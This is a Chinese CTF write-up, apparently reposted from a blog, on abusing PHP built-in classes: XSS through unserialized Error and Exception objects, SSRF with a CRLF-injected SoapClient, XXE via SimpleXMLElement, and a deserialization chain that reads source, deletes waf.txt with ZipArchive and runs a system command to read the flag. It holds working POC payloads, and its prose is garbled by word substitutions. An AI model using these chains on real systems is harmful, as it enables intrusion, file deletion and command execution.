前言:
在CTF标题中,能够应用php原生类来停止XSS,反序列化,SSRF,XXE和读文件的思绪
遍历一下
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__wakeup
AssertionError::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PDO::__wakeup
PDOStatement::__wakeup
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
SoapClient::__call
SoapFault::__toString
SoapFault::__wakeup
CURLFile::__wakeup
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
主要注重以下几个:
Error
Exception
SoapClient
DirectoryIterator
FilesystemIterator
SplFileObject
SimpleXMLElement
SPL库:
也就是php规范库,里面的迭代器就是类,附上链接
https://www.php.net/manual/zh/book.spl.php
嗨害嗨,来喽:
应用Error/Exception 内置类停止 XSS:
Error内置类:
运用条件:
- 适用于php7版本
- 在开启报错的状况下
Error 是一切PHP内部错误类的基类。在php7环境下可能有xss破绽,它内置有一个 __toString() 的办法,常用于PHP 反序列化中。
结构XSS:
<?php
$a = unserialize($_GET['name']);
echo $a;
?>
POC:
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
Exception 内置类:
- 适用于php5、7版本
- 开启报错的状况下
测试代码:
<?php
$a = unserialize($_GET['name']);
echo $a;
?>
POC:
<?php
$a = new Exception("<script>alert('xss2')</script>");
$b = serialize($a);
echo urlencode($b);
?>
运用 SoapClient 类停止 SSRF
详解:https://www.xiinnn.com/article/7741c455.html#SoapClient%E5%9C%A8%E5%AE%89%E5%85%A8%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8
- 适用于PHP 5, PHP 7, PHP 8
- 特地用来访问web效劳的类
该内置类有一个 _call 办法,当 _call 办法被触发后,它能够发送 HTTP 和 HTTPS 恳求。
结构函数如下:
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明能否是wsdl形式,将该值设为null则表示非wsdl形式。
第二个参数为一个数组,假如在wsdl形式下,此参数可选;假如在非wsdl形式下,则必需设置location和uri选项,其中location是要将恳求发送到的SOAP效劳器的URL,而uri 是SOAP效劳的目的命名空间。
web259:
源代码:
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
?>
- php在装置php-soap拓展后,能够反序列化原生类SoapClient,来发送http post恳求。
- 必需调用SoapClient不存在的办法,触发SoapClient的__call魔术办法。
- 经过CRLF来添加恳求体:SoapClient能够指定恳求的user-agent头,经过添加换行符的方式来参加其他恳求内容
还有CRLF破绽
flag.php源码
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
payload:
<?php
$ua = "z3eyond\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
print_r(urlencode(serialize($client)));
其中content-type的需求与post的内容分歧。
直接get传vip=xxx就能够了,最后访问/flag.txt应该就能拿到flag了。
运用 SimpleXMLElement 类停止 XXE
- 适用于PHP 5, PHP 7, PHP 8
- 用于解析 XML 文档中的元素。
能够看到经过设置第三个参数 data_is_url 为 true,我们能够完成远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们本人设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们能够控制目的调用的类的时分,便能够经过 SimpleXMLElement 这个内置类来结构 XXE。
[SUCTF 2018]Homework
calc 计算器类的代码为:
<?php
class calc{
function __construct__(){
calc();
}
function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;
case 'b':
$method="-";
break;
case 'c':
$method="*";
break;
case 'd':
$method="/";
break;
default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>
点击CALC按钮,察看返回的结果和URL,再依据calc
类里面的内容,不难判别得知,这里经过module
传参去调用calc
类,然后剩下3个变量是calc($args1,$method,$args2)
函数中参数。
其中值得留意的是$data
和$dataIsURL
这个两个参数:
$data
:格式正确的XML字符串,或者XML文档的途径或URL(假如$dataIsURL
为true
)。
$dataIsURL
:默许状况下$dataIsURL
为false。运用true指定$data
的途径或URL到一个XML文件,而不是字符串数据。
能够看到经过设置第三个参数 $dataIsURL
为 true
,我们能够完成远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 $data
就是我们本人设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们能够控制目的调用的类的时分,便能够经过 SimpleXMLElement 这个内置类来结构 XXE。
运用 ZipArchive 类来删除文件
- 适用于PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0
- 一个用 Zip 紧缩的文件存档。
常见类办法:
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip紧缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将紧缩包解压
ZipArchive::open:翻开一个zip紧缩包
ZipArchive::deleteIndex:删除紧缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除紧缩包中的某一个文件称号,同时也将文件删除
有个ZipArchive::open:
该办法用来翻开一个新的或现有的zip存档以停止读取,写入或修正。
filename:要翻开的ZIP存档的文件名。
flags:用于翻开档案的形式。有以下几种形式:
ZipArchive::OVERWRITE:总是以一个新的紧缩包开端,此形式下假如曾经存在则会被掩盖或删除。
ZipArchive::CREATE:假如不存在则创立一个zip紧缩包。
ZipArchive::RDONLY:只读形式翻开紧缩包。
ZipArchive::EXCL:假如紧缩包曾经存在,则出错。
ZipArchive::CHECKCONS:对紧缩包执行额外的分歧性检查,假如失败则显现错误。
留意,假如设置flags参数的值为 ZipArchive::OVERWRITE 的话,能够把指定文件删除。这里我们跟进办法能够看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也能够直接将flags赋值为8
经过ZipArchive直接调用open办法删除目的机上的文件
梦里花开牡丹亭
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取胜利时才干得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}
结构反序列化POC来读取shell.php
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));
执行POC生成的payload读取到shell.php的源码base64编码
解码得到shell.php源码
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}
再加上以下这块源码
可知我们只需使 file_get_contents(‘waf.txt’) 读取失败就能够进入 shell($content) 来执行系统命令。所以我们应该要想方法将waf.txt这个文件删除,这样就会读取失败,才干执行我们的命令。
要删除waf.txt只能想到原生类了,并且这个原生类中要有一个open()办法,就用到了ZipArchive::open
假如设置flags参数的值为 ZipArchive::OVERWRITE 的话,能够把指定文件删除。这里我们跟进办法能够看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也能够直接将flags赋值为8。
所以我们应用ZipArchive原生类调用open办法,即可将即可将$filename(waf.txt)删除
删除waf.txt的POC
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;
echo base64_encode(serialize($poc));
生成payload执行后,即可删除waf.txt。接下来就能够运用 n\l /fla* 执行命令读取flag了
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;
public $file;
public $filename;
public $content;
public function __construct()
{
$this->username='user';
$this->password='user';
}
public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}
}
class login{
public $file;
public $filename;
public $content;
}
class Open{
function open($filename, $content){
}
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
php原生文件操作类
遍历文件目录的类
- DirectoryIterator 类
- FilesystemIterator 类
- GlobIterator 类
DirectoryIterator 类
会创立一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString()
办法,输出指定目录里面经过排序之后的第一个文件名
<?php
$dir=new DirectoryIterator("/");
echo $dir;
遍历文件目录,直接对文件全部输出出来
<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
echo($f.'<br>');
//echo($f->__toString().'<br>');
}
运用可遍历目录类绕过 open_basedir
链接:
https://blog.csdn.net/Xxy605/article/details/120221577
可读取文件类
SplFileObject 类
该类的结构办法能够结构一个新的文件对象用于后续的读取
运用 ReflectionMethod 类获取类办法的相关信息
ReflectionMethod 类报告了一个办法的有关信息。能够在 PHP 运转状态中,扩展剖析 PHP 程序,导出或提取出关于类、办法、属性、参数等的细致信息,包括注释。这种动态获取的信息以及动态调用对象的办法的功用称为反射API
总结:
好多,有一些类还没有细看,粗略的理解了以下,根本上就是应用函数内置的类,来到达本人的一些目的。多与其他的浸透办法一同运用来得到flag。
参考链接:
(14条音讯) PHP 原生类的应用_lmonstergg的博客-CSDN博客_php原生类
[PHP 原生类在 CTF 中的应用 – 平安客,平安资讯平台 (anquanke.com)](
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)